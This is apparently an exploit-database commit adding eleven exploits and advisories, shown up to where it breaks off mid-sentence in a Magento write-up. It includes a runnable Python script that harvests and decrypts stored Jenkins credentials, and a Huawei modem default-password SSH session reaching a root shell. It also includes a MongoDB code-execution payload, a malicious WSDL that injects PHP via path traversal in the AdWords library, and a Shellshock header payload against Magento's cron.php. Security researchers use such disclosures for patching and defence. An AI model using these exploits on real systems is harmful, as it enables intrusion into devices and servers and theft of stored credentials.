DB: 2015-11-11
11 new exploits
This commit is contained in:
Offensive Security
parent
8a3d4b8a4b
commit
f98ebec3d2
12 changed files with 1351 additions and 0 deletions
11
files.csv
11
files.csv
|
|
@ -34730,6 +34730,7 @@ id,file,description,date,author,platform,type,port
|
|||
38439,platforms/php/webapps/38439.txt,"WordPress Traffic Analyzer Plugin 'aoid' Parameter Cross Site Scripting Vulnerability",2013-04-09,Beni_Vanda,php,webapps,0
|
||||
38440,platforms/php/webapps/38440.txt,"phpMyAdmin 'tbl_gis_visualization.php' Multiple Cross Site Scripting Vulnerabilities",2013-04-09,waraxe,php,webapps,0
|
||||
38441,platforms/php/webapps/38441.txt,"WordPress Spiffy XSPF Player Plugin 'playlist_id' Parameter SQL Injection Vulnerability",2013-04-10,"Ashiyane Digital Security Team",php,webapps,0
|
||||
38442,platforms/php/dos/38442.txt,"PHPMyLicense 3.0.0 - 3.1.4 - DoS",2015-10-11,"Aria Akhavan Rezayat",php,dos,0
|
||||
38443,platforms/php/webapps/38443.txt,"Liferay 6.1.0 CE - Privilege Escalation",2015-10-11,"Massimo De Luca",php,webapps,0
|
||||
38444,platforms/win32/dos/38444.py,"Tomabo MP4 Converter 3.10.12 - 3.11.12 (.m3u) Denial of service (Crush application)",2015-10-11,"mohammed Mohammed",win32,dos,0
|
||||
38445,platforms/php/webapps/38445.txt,"Joomla Real Estate Manager Component 3.7 - SQL injection",2015-10-11,"Omer Ramić",php,webapps,0
|
||||
|
|
@ -34920,7 +34921,10 @@ id,file,description,date,author,platform,type,port
|
|||
38641,platforms/multiple/webapps/38641.rb,"JSSE SKIP-TLS Exploit",2015-11-05,"Ramon de C Valle",multiple,webapps,0
|
||||
38643,platforms/php/webapps/38643.txt,"WordPress Pie Register Plugin 'wp-login.php' Multiple Cross Site Scripting Vulnerabilities",2013-07-12,gravitylover,php,webapps,0
|
||||
38646,platforms/jsp/webapps/38646.txt,"NXFilter 3.0.3 - Multiple XSS Vulnerabilities",2015-11-06,hyp3rlinx,jsp,webapps,0
|
||||
38649,platforms/php/webapps/38649.txt,"Google AdWords API PHP client library <= 6.2.0 - Arbitrary PHP Code Execution",2015-11-07,"Dawid Golunski",php,webapps,0
|
||||
38650,platforms/windows/dos/38650.py,"QNap QVR Client 5.1.0.11290 - Crash PoC",2015-11-07,"Luis Martínez",windows,dos,0
|
||||
38651,platforms/php/webapps/38651.txt,"eBay Magento CE <= 1.9.2.1 - Unrestricted Cron Script (Potential Code Execution / DoS)",2015-11-07,"Dawid Golunski",php,webapps,0
|
||||
38652,platforms/php/webapps/38652.txt,"Google AdWords <= 6.2.0 API client libraries - XML eXternal Entity Injection (XXE)",2015-11-07,"Dawid Golunski",php,webapps,0
|
||||
38653,platforms/asp/webapps/38653.txt,"Corda Highwire 'Highwire.ashx' File Path Disclosure Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
||||
38654,platforms/php/webapps/38654.txt,"OpenEMR <= 4.1 'note' Parameter HTML Injection Vulnerability",2013-07-12,"Nate Drier",php,webapps,0
|
||||
38655,platforms/asp/webapps/38655.txt,"Corda .NET Redirector 'redirector.corda' Cross Site Scripting Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
||||
|
|
@ -34930,3 +34934,10 @@ id,file,description,date,author,platform,type,port
|
|||
38660,platforms/php/remote/38660.rb,"Wordpress Ajax Load More PHP Upload Vulnerability",2015-11-09,metasploit,php,remote,0
|
||||
38661,platforms/php/webapps/38661.txt,"TestLink 1.9.14 - CSRF Vulnerability",2015-11-09,"Aravind C Ajayan, Balagopal N",php,webapps,0
|
||||
38662,platforms/multiple/dos/38662.txt,"FreeType 2.6.1 TrueType tt_sbit_decoder_load_bit_aligned Heap-Based Out-of-Bounds Read",2015-11-09,"Google Security Research",multiple,dos,0
|
||||
38663,platforms/hardware/remote/38663.txt,"Huawei HG630a and HG630a-50 - Default SSH Admin Password on ADSL Modems",2015-11-10,"Murat Sahin",hardware,remote,0
|
||||
38664,platforms/java/webapps/38664.py,"Jenkins 1.633 - Unauthenticated Credential Recovery",2015-11-10,"The Repo",java,webapps,0
|
||||
38665,platforms/php/webapps/38665.txt,"YESWIKI 0.2 - Path Traversal Vulnerability",2015-11-10,HaHwul,php,webapps,0
|
||||
38666,platforms/multiple/remote/38666.txt,"Apache Struts <= 2.2.3 Multiple Open Redirection Vulnerabilities",2013-07-16,"Takeshi Terada",multiple,remote,0
|
||||
38667,platforms/windows/remote/38667.py,"ReadyMedia Remote Heap Buffer Overflow Vulnerability",2013-07-15,"Zachary Cutlip",windows,remote,0
|
||||
38668,platforms/windows/local/38668.c,"Cisco WebEx One-Click Client Password Encryption Information Disclosure Vulnerability",2013-07-09,"Brad Antoniewicz",windows,local,0
|
||||
38669,platforms/multiple/remote/38669.txt,"MongoDB 'conn' Mongo Object Remote Code Execution Vulnerability",2013-06-04,"SCRT Security",multiple,remote,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
42
platforms/hardware/remote/38663.txt
Executable file
42
platforms/hardware/remote/38663.txt
Executable file
|
|
@ -0,0 +1,42 @@
|
|||
# Exploit Title: Huawei HG630a and HG630a-50 Default SSH Admin Password on
|
||||
Adsl Modems
|
||||
# Date: 10.11.2015
|
||||
# Exploit Author: Murat Sahin
|
||||
# Vendor Homepage: Huawei
|
||||
# Version: HG630a and HG630a-50
|
||||
# Tested on: linux,windows
|
||||
|
||||
Adsl modems force you to change admin web interface password. Even though
|
||||
you can change admin password on the web interface, the password you
|
||||
assign does not apply to ssh. So, SSH password always will be
|
||||
'Username:admin Password:admin'.
|
||||
|
||||
Ex:
|
||||
|
||||
*ssh admin@modemIP <admin@192.168.1.1>*
|
||||
admin@modemIP <admin@192.168.1.1>'s password:*admin*
|
||||
PTY allocation request failed on channel 0
|
||||
------------------------------
|
||||
-
|
||||
-----Welcome to ATP Cli------
|
||||
-------------------------------
|
||||
ATP>?
|
||||
?
|
||||
cls
|
||||
debug
|
||||
help
|
||||
save
|
||||
?
|
||||
exit
|
||||
ATP>shell
|
||||
shell
|
||||
|
||||
|
||||
BusyBox vv1.9.1 (2013-12-31 16:16:20 CST) built-in shell (ash)
|
||||
Enter 'help' for a list of built-in commands.
|
||||
|
||||
# cat /proc/version
|
||||
cat /proc/version
|
||||
Linux version 2.6.30 (y00179387@localhost) (gcc version 4.4.2
|
||||
(Buildroot 2010.02-git) ) #10 SMP PREEMPT Tue Dec 31 16:20:50 CST 2013
|
||||
#
|
||||
60
platforms/java/webapps/38664.py
Executable file
60
platforms/java/webapps/38664.py
Executable file
|
|
@ -0,0 +1,60 @@
|
|||
# Exploit Title: Jenkins Unauthenticated Credential Recovery
|
||||
# Disclosure Date: 10/14/2015
|
||||
# Response Date: 10/14/2015
|
||||
# Response: "Recommend this be rejected as a vulnerability."
|
||||
# Full report including response: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
|
||||
# Vendor Homepage: https://jenkins-ci.org/
|
||||
# Tested on: Jenkins v1.633
|
||||
# Author = 'Th3R3p0' | Justin Massey
|
||||
# Google Dork: intitle:"Dashboard [Jenkins]" Credentials
|
||||
|
||||
import requests
|
||||
import re
|
||||
from BeautifulSoup import BeautifulSoup
|
||||
import urllib
|
||||
|
||||
|
||||
# Usage: Modify the URL below to match the target host and port
|
||||
# Must have trailing slash at end of URL
|
||||
url='http://192.168.1.151:8080/'
|
||||
|
||||
# makes request to gather all users with stored credentials
|
||||
r= requests.get(url + 'credential-store/domain/_/')
|
||||
soup = BeautifulSoup(r.text)
|
||||
|
||||
# loop to go through all hrefs and match the regex "credential" and add the urls to the users list
|
||||
users = []
|
||||
for link in soup.body.findAll('a', href=True):
|
||||
m = re.match("credential", link['href'])
|
||||
if m:
|
||||
if link['href'] not in users:
|
||||
users.append(link['href'])
|
||||
|
||||
for users in users:
|
||||
r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update')
|
||||
soup2 = BeautifulSoup(r2.text)
|
||||
|
||||
# Finds the user and password value in html and stores in encPass variable
|
||||
user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value']
|
||||
encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value']
|
||||
# Encodes the password to www-form-urlencoded standards needed for the expected content type
|
||||
encPassEncoded = urllib.quote(encPass, safe='')
|
||||
|
||||
# Script to run in groovy scripting engine to decrypt the password
|
||||
script = 'script=hudson.util.Secret.decrypt+%%27' \
|
||||
'%s'\
|
||||
'%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' \
|
||||
'%s' \
|
||||
'%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded)
|
||||
|
||||
# Using sessions because the POST requires a session token to be present
|
||||
with requests.Session() as s:
|
||||
r3 = s.get(url+'script')
|
||||
headers = {'content-type': 'application/x-www-form-urlencoded'}
|
||||
r3 = s.post(url+'script',data=script, headers=headers)
|
||||
soup3 = BeautifulSoup(r3.text)
|
||||
|
||||
# Extracts password from body
|
||||
password = soup3.body.findAll('pre')[1].text
|
||||
password = re.sub('Result:', '', password)
|
||||
print "User: %s | Password:%s" % (user, password)
|
||||
10
platforms/multiple/remote/38666.txt
Executable file
10
platforms/multiple/remote/38666.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/61196/info
|
||||
|
||||
Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker can leverage these issues by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.
|
||||
|
||||
Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable.
|
||||
|
||||
http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/
|
||||
http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23
|
||||
13
platforms/multiple/remote/38669.txt
Executable file
13
platforms/multiple/remote/38669.txt
Executable file
|
|
@ -0,0 +1,13 @@
|
|||
source: http://www.securityfocus.com/bid/61309/info
|
||||
|
||||
MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.
|
||||
|
||||
An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.
|
||||
|
||||
MongoDB 2.4.4 is vulnerable; other versions may also be affected.
|
||||
|
||||
use databaseMapped
|
||||
|
||||
sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }
|
||||
|
||||
db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');
|
||||
27
platforms/php/dos/38442.txt
Executable file
27
platforms/php/dos/38442.txt
Executable file
|
|
@ -0,0 +1,27 @@
|
|||
Hello, I want to report following exploit:
|
||||
|
||||
|
||||
# Exploit Title: PHPMyLicense Stored Cross Site Scripting
|
||||
# Date: 09-10-2015
|
||||
# Exploit Author: Aria Akhavan Rezayat @ Websec GesmbH
|
||||
# Website: https://websec-test.com
|
||||
# Vendor Homepage: https://phpmylicense.com
|
||||
# Software Link: http://codecanyon.net/item/phpmylicense/11719122
|
||||
# Version: 3.0.0 - 3.1.4 (REQUIRED)
|
||||
# Category: Webapps
|
||||
|
||||
1.) Description:
|
||||
|
||||
Any registered user can simply disable functionality of the whole application and input malicious code because of a lack of filtering.
|
||||
|
||||
2.) Proof of Concept:
|
||||
|
||||
localhost/phpmylicense/ajax/
|
||||
|
||||
POST:
|
||||
|
||||
comments=bla-->MaliciousCode<%21--&customer_email=bla&domain=bla&expirydate=26-10-2014&handler=newlicense¶meters=bla&productid=20&serialkey=bla&status=processing
|
||||
|
||||
3.) Solution:
|
||||
|
||||
None. - No Update available for it.
|
||||
335
platforms/php/webapps/38649.txt
Executable file
335
platforms/php/webapps/38649.txt
Executable file
|
|
@ -0,0 +1,335 @@
|
|||
# Date: 06.11.2015
|
||||
# Title: Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution
|
||||
# Exploit Author: Dawid Golunski
|
||||
# Vendor Homepage: https://developers.google.com/adwords/api/docs/clientlibraries
|
||||
# Software Link: https://github.com/googleads/googleads-php-lib
|
||||
# Version: <=6.2.0
|
||||
|
||||
|
||||
=============================================
|
||||
- Release date: 06.11.2015
|
||||
- Discovered by: Dawid Golunski
|
||||
- Severity: Medium/High
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution
|
||||
(googleads-php-lib)
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
- AdWords API
|
||||
|
||||
https://developers.google.com/adwords/api/docs/
|
||||
|
||||
"The AdWords API is a collection of web services that you can use to build
|
||||
applications that manage AdWords accounts and their associated campaign data.
|
||||
While the AdWords API is based on SOAP 1.1, high-level client libraries are
|
||||
provided to help you develop applications more quickly."
|
||||
|
||||
AdWords API client libraries are available for different platforms
|
||||
such as PHP, .NET, Java etc.
|
||||
These can be found at:
|
||||
|
||||
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
The Google AdWords API client library for PHP contains a WSDL Interpreter
|
||||
class which is described in a comment within the source code as:
|
||||
|
||||
"
|
||||
* The main class for handling WSDL interpretation.
|
||||
*
|
||||
* The WSDLInterpreter is utilized for the parsing of a WSDL document for rapid
|
||||
* and flexible use within the context of PHP 5 scripts.
|
||||
"
|
||||
|
||||
The class contains a function savePHP() which allows to convert the WSDL
|
||||
document received from a remote end into a PHP file.
|
||||
The funcion is vulnerable to Path Traversal and Code Execution vulnerabilities.
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
googleads-php-lib contains the following function which is meant to load WSDL
|
||||
document (XML data) from a remote Google AdWords server:
|
||||
|
||||
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
|
||||
|
||||
protected function loadWsdl($wsdlUri, $proxy = null) {
|
||||
// Set proxy.
|
||||
if ($proxy) {
|
||||
$opts = array(
|
||||
'http' => array(
|
||||
'proxy' => $proxy,
|
||||
'request_fulluri' => true
|
||||
)
|
||||
);
|
||||
$context = stream_context_get_default($opts);
|
||||
libxml_set_streams_context($context);
|
||||
}
|
||||
|
||||
$this->dom = new DOMDocument();
|
||||
$this->dom->load($wsdlUri,
|
||||
LIBXML_DTDLOAD|LIBXML_DTDATTR|LIBXML_NOENT|LIBXML_XINCLUDE);
|
||||
|
||||
-------------------------------------------------------
|
||||
|
||||
For security reasons Google AdWords API should only be accessed via HTTPS.
|
||||
However, the above code does not set appropriate SSL settings on the
|
||||
https:// stream context.
|
||||
It fails to assign Certificate Authority (CA), turn the verify_peer
|
||||
option to ON, specify allowed ciphers etc.
|
||||
It uses the stream_context_get_default() function to get the default context,
|
||||
which on all PHP versions below PHP 5.6.x (see references), does not validate
|
||||
the CA by default.
|
||||
Because of this, application may retrieve data from untrusted sources
|
||||
pretending to be adwords.google.com.
|
||||
|
||||
Further on, the WSDLInterpreter class contains the following savePHP function:
|
||||
|
||||
---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---
|
||||
|
||||
/**
|
||||
* Saves the PHP source code that has been loaded to a target directory.
|
||||
*
|
||||
* Services will be saved by their validated name, and classes will be
|
||||
* included with each service file so that they can be utilized independently.
|
||||
*
|
||||
* @param string $outputDirectory the destination directory for the source
|
||||
* code
|
||||
* @return array array of source code files that were written out
|
||||
* @throws WSDLInterpreterException problem in writing out service sources
|
||||
*/
|
||||
public function savePHP($outputDirectory) {
|
||||
if (!count($this->servicePHPSources)) {
|
||||
throw new WSDLInterpreterException("No services loaded");
|
||||
}
|
||||
$namespace = $this->enableNamespaces ? sprintf("namespace %s;\n\n",
|
||||
$this->utils->getNamespace()) : '';
|
||||
$require = sprintf("require_once \"%s\";\n\n", $this->soapClientClassPath);
|
||||
$classSource = join("\n\n", $this->classPHPSources);
|
||||
$outputFiles =
|
||||
foreach ($this->servicePHPSources as $serviceName => $serviceCode) {
|
||||
$filename = sprintf('%s/%s.php', $outputDirectory, $serviceName);
|
||||
$success = file_put_contents($filename, sprintf(
|
||||
"<?php\n%s%s%s%s\n\n%s\n\n", $this->getFileHeader(), $namespace,
|
||||
$require, $classSource, $serviceCode));
|
||||
...
|
||||
|
||||
-------------------------------------------------------
|
||||
|
||||
The function does not perform sufficient sanitisation of the WSDL document
|
||||
received from a remote end. It allows to inject '../' sequence, which can be
|
||||
used by attackers to save the resulting translated PHP file into an arbitrary
|
||||
directory on the system.
|
||||
It also fails to validate the Name spaces provided within WSDL XML document,
|
||||
making it possible to inject arbitrary PHP code via encoding it in hex.
|
||||
|
||||
For the attack to be successful, the attacker needs to perform a MitM attack
|
||||
to impersonate adwords.google.com server (eg. via DNS poisoning/spoofing/proxy
|
||||
attacks, ARP spoofing, etc. ) to inject malicious XML code.
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT
|
||||
-------------------------
|
||||
|
||||
Below is a test application that makes use of of PHP Google AdWords API library.
|
||||
The application simply connects to the AdWords API endpoint to retrieve the
|
||||
Google API WSDL document and translates it into a PHP file.
|
||||
|
||||
---[ testAPI.php ]---
|
||||
|
||||
<?php
|
||||
// Test application reading WSDL from Google AdWords
|
||||
|
||||
set_include_path('./build_lib/WSDLInterpreter/');
|
||||
require_once 'WSDLInterpreter.php';
|
||||
|
||||
$wsdlUri = 'https://adwords.google.com/api/adwords/cm/v201502/'
|
||||
.'CampaignService?wsdl';
|
||||
|
||||
$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null,
|
||||
null, "CampaignService", "v201502", "Ads_Google",
|
||||
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);
|
||||
|
||||
$wsdlInterpreter->savePHP('/tmp/');
|
||||
|
||||
?>
|
||||
|
||||
---------------------
|
||||
|
||||
|
||||
To exploit this application, an attacker needs to perform a MitM attack
|
||||
to impersonate adwords.google.com server as mentioned in the description above.
|
||||
|
||||
If an attacker manages to inject the XML below, when the victim requests
|
||||
the https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl link
|
||||
from Google AdWords endpoint:
|
||||
|
||||
---[ malicious XML ]---
|
||||
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<definitions xmlns:typens="urn:POC_RCE"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
|
||||
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
|
||||
xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
|
||||
xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
|
||||
xmlns="http://schemas.xmlsoap.org/wsdl/"
|
||||
name="POCexploit" targetNamespace="urn:POCexploit444"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = "">
|
||||
<service name="../../../var/www/html/POC_Exploit">
|
||||
<port name="Some_HandlerPort" binding="typens:Some_HandlerBinding">
|
||||
<soap:address location="https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl" />
|
||||
</port>
|
||||
</service>
|
||||
</definitions>
|
||||
|
||||
----------------------
|
||||
|
||||
the vulnerable application will translate it and save it as a script in
|
||||
/var/www/html/POC_Exploit.php (assuming directory is writable) location,
|
||||
instead of /tmp location, due the Path Traversal in '<service name=' tag.
|
||||
|
||||
It will also decode the hex values representing a malicious PHP script to:
|
||||
|
||||
"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; }
|
||||
const NOTHING = "
|
||||
|
||||
The resulting file will be saved in /var/www/html/POC_Exploit.php , and will
|
||||
look as follows after the WSDL to PHP translation:
|
||||
|
||||
|
||||
---[ resulting POC_Exploit.php file ]---
|
||||
|
||||
<?php
|
||||
/**
|
||||
[cut]
|
||||
* @package Ads_Google
|
||||
* @subpackage v201309
|
||||
* @category WebServices
|
||||
* @copyright 2014, Google Inc. All Rights Reserved.
|
||||
* @license http://www.apache.org/licenses/LICENSE-2.0 Apache License,
|
||||
* Version 2.0
|
||||
*/
|
||||
namespace Ads_Google;
|
||||
|
||||
require_once "../../src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php";
|
||||
|
||||
if (!class_exists("VarwwwhtmlPOC_Exploit", false)) {
|
||||
/**
|
||||
* VarwwwhtmlPOC_Exploit
|
||||
* @package Ads_Google
|
||||
* @subpackage v201309
|
||||
*/
|
||||
class VarwwwhtmlPOC_Exploit extends AdWordsSoapClient {
|
||||
|
||||
const SERVICE_NAME = "../../../var/www/html/POC_Exploit";
|
||||
const WSDL_NAMESPACE = "urn:POCexploit444"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = "";
|
||||
const ENDPOINT = "https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl";
|
||||
|
||||
/**
|
||||
* The endpoint of the service
|
||||
* @var string
|
||||
*/
|
||||
public static $endpoint = "https://adwords.google.com/api/adwords/cm/v201502/CampaignService?wsdl";
|
||||
|
||||
/**
|
||||
* Constructor using wsdl location and options array
|
||||
* @param string $wsdl WSDL location for this service
|
||||
* @param array $options Options for the SoapClient
|
||||
*/
|
||||
public function __construct($wsdl, $options, $user) {
|
||||
$options["classmap"] = self::$classmap;
|
||||
parent::__construct($wsdl, $options, $user, self::SERVICE_NAME,
|
||||
self::WSDL_NAMESPACE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
----------------------------------------
|
||||
|
||||
If such class gets included it will execute the malicious code due to the
|
||||
injected __destruct() method, which creates /tmp/adwrods_api_hacked file.
|
||||
|
||||
At this point the attacker can control the name of the class (through service name),
|
||||
the path to the resulting PHP file, and is also able to inject any PHP code.
|
||||
|
||||
Going further, He could also close the class definition statement and write an arbitrary
|
||||
PHP code in the main file.
|
||||
This would allow the attacker to create a stand alone script which he
|
||||
could request remotely via the Web server if he managed save it within the web
|
||||
root.
|
||||
In this way the attacker could create a stand alone PHP command shell and get
|
||||
access to the system.
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
The severity of this issue is lowered to medium/high as despite the possibility
|
||||
to execute arbitrary code, the attacker must impersonate adwords.google.com
|
||||
server to be able to inject malicious XML.
|
||||
If there is a possibility for such an attack, the severity of the issue
|
||||
can grow to high/critical.
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
Google AdWords API PHP client library in versions up to 6.2.0 contain the
|
||||
vulnerable WSDLInterpreter code.
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Upgrade Google AdWords API PHP client library to the latest version.
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
This advisory:
|
||||
|
||||
http://legalhackers.com/advisories/Google-AdWords-PHP-Client-library-PHP-Code-Execution.txt
|
||||
|
||||
Related, Google AdWords API client libraries - XML eXternal Entity Injection (XXE) vuln:
|
||||
http://legalhackers.com/advisories/Google-AdWords-API-libraries-XXE-Injection-Vulnerability.txt
|
||||
|
||||
https://github.com/googleads/googleads-php-lib
|
||||
|
||||
https://github.com/googleads/googleads-php-lib/blob/master/ChangeLog.md
|
||||
|
||||
https://developers.google.com/adwords/api/docs/
|
||||
|
||||
https://developers.google.com/adwords/api/docs/clientlibraries
|
||||
|
||||
PHP 5.6.x openssl certificates in PHP streams:
|
||||
http://php.net/manual/en/migration56.openssl.php
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
|
||||
http://legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
May 18th, 2015: Advisory created and sent to Google Security Team
|
||||
|
||||
Nov 5th, 2015: Google, after half a year, confirm the vulnerability has been patched
|
||||
|
||||
Nov 6th, 2015: Advisory released publicly
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
310
platforms/php/webapps/38651.txt
Executable file
310
platforms/php/webapps/38651.txt
Executable file
|
|
@ -0,0 +1,310 @@
|
|||
# Exploit Title: eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
|
||||
# Date: 06.11.2015
|
||||
# Exploit Author: Dawid Golunski
|
||||
# Vendor Homepage: http://magento.com
|
||||
# Version: eBay Magento CE <= 1.9.2.1 / Magento EE <=1.14.2.1
|
||||
# Tested on: Linux
|
||||
# Magento reference ID: APPSEC-1045
|
||||
|
||||
|
||||
|
||||
=============================================
|
||||
- Release date: 06.11.2015
|
||||
- Discovered by: Dawid Golunski
|
||||
- Severity: Medium
|
||||
- eBay Magento ref.: APPSEC-1037
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
eBay Magento CE <= 1.9.2.1 Unrestricted Cron Script (Potential Code Execution / DoS)
|
||||
eBay Magento EE <= 1.14.2.1
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
- eBay Magento eCommerce
|
||||
|
||||
http://magento.com/
|
||||
|
||||
"More than 240,000 merchants worldwide put their trust in our eCommerce
|
||||
software. Magento's eCommerce platform gives you the tools you need to attract
|
||||
more prospects, sell more products, and make more money. It's what we do.
|
||||
|
||||
We're owned by eBay, so you know we're eCommerce experts"
|
||||
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
Default installation of ebay Magento eCommerce software comes with a cron.php
|
||||
which allows to manage scheduled tasks. The script is not protected by default
|
||||
and can be publicly accessed.
|
||||
|
||||
The publicly exposed cron script poses some potential risks such as exploitation
|
||||
of the well known shellshock vulnerability on unpatched systems leading to code
|
||||
execution.
|
||||
The same script has another potential command execution vector that stems from
|
||||
inproper data sanitisation passed to a shell_exec function.
|
||||
|
||||
Apart from the code execution vectors, the script could potentially be used to
|
||||
perform a DoS attack due to lack of locking mechanism that prevents the script
|
||||
from spawning multiple instances of other helper shell scripts.
|
||||
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
A) Shellshock vector
|
||||
|
||||
Magento cron.php script includes a command execution function that looks as
|
||||
follows:
|
||||
|
||||
-----[ magento/cron.php ]-----
|
||||
|
||||
...
|
||||
|
||||
try {
|
||||
if (stripos(PHP_OS, 'win') === false) {
|
||||
$options = getopt('m::');
|
||||
if (isset($options['m'])) {
|
||||
if ($options['m'] == 'always') {
|
||||
$cronMode = 'always';
|
||||
} elseif ($options['m'] == 'default') {
|
||||
$cronMode = 'default';
|
||||
} else {
|
||||
Mage::throwException('Unrecognized cron mode was defined');
|
||||
}
|
||||
|
||||
} else if (!$isShellDisabled) {
|
||||
$fileName = basename(__FILE__);
|
||||
$baseDir = dirname(__FILE__);
|
||||
shell_exec("/bin/sh $baseDir/cron.sh $fileName -mdefault 1 > /dev/null 2>&1 &");
|
||||
shell_exec("/bin/sh $baseDir/cron.sh $fileName -malways 1 > /dev/null 2>&1 &");
|
||||
exit;
|
||||
}
|
||||
...
|
||||
|
||||
------------------------------
|
||||
|
||||
|
||||
As can be seen, the script runs shell_exec() that loads /bin/sh program which
|
||||
is usually a symlink to /bin/bash.
|
||||
Although the shellshock vulnerability should be patched, there have been reports
|
||||
of linux distributions that insufficiently patched the issue and remained
|
||||
vulnerable.
|
||||
Magento's cron.php could be used as exploit the shellshock vulnerability on
|
||||
unpatched systems which host Magento in CGI mode (which can be easily enabled
|
||||
via .htaccess file provided with Magento).
|
||||
|
||||
B) Command injection
|
||||
|
||||
The script fails to sanitise the input data coming from $baseDir variable.
|
||||
Input passed to shell execution functions should always be sanitised with
|
||||
escapeshellcmd / escapeshellarg PHP functions.
|
||||
|
||||
Although not exploitable on its own, the lack of escaping could allow to inject
|
||||
some system commands on Magento hosting platforms which have a feature to
|
||||
create backups of directories with a specified name within the document root.
|
||||
|
||||
If the provided hosting control panel allows to specify names of such backups,
|
||||
a user could potentially inject some malicious data within the directory name
|
||||
which could result in a command injection when cron.php is run from the backup
|
||||
directory.
|
||||
The command would execute upon the shell_exec() receiving the malicious data
|
||||
injected with the help of the $baseDir variable.
|
||||
|
||||
C) Denial of Service
|
||||
|
||||
As the script lacks any access control and a locking mechanism, it is possible
|
||||
to remotely request cron.php multiple times in order to make it spawn
|
||||
multiple instances of the cron.sh script.
|
||||
As a single execution of the script results in 2 cron.sh spawned processes, plus
|
||||
a separate CGI process (if website runs as CGI), an attacker could potentially
|
||||
overload the Magento site with multiple requests and create a Denial of Service
|
||||
condition by process exhaustion etc.
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT
|
||||
-------------------------
|
||||
|
||||
A) Shellshock vector exploit
|
||||
|
||||
Sending the following request to a CGI-enabled Magento site:
|
||||
|
||||
GET /magento/cron.php HTTP/1.1
|
||||
Host: victim_magento_site
|
||||
User-Agent: () { :; } ; /bin/touch /tmp/magento_cron_hack
|
||||
|
||||
will result in a command execution on shellshock affected systems.
|
||||
The resul of the above would be:
|
||||
|
||||
victim$ ls -l /tmp/magento_cron_hack
|
||||
-rw-rw-rw- 1 www-data www-data 0 Jul 26 09:08 /tmp/magento_cron_hack
|
||||
|
||||
|
||||
|
||||
B) Command injection
|
||||
|
||||
Due to lack of sanitisation, if a malicious Magento user had access
|
||||
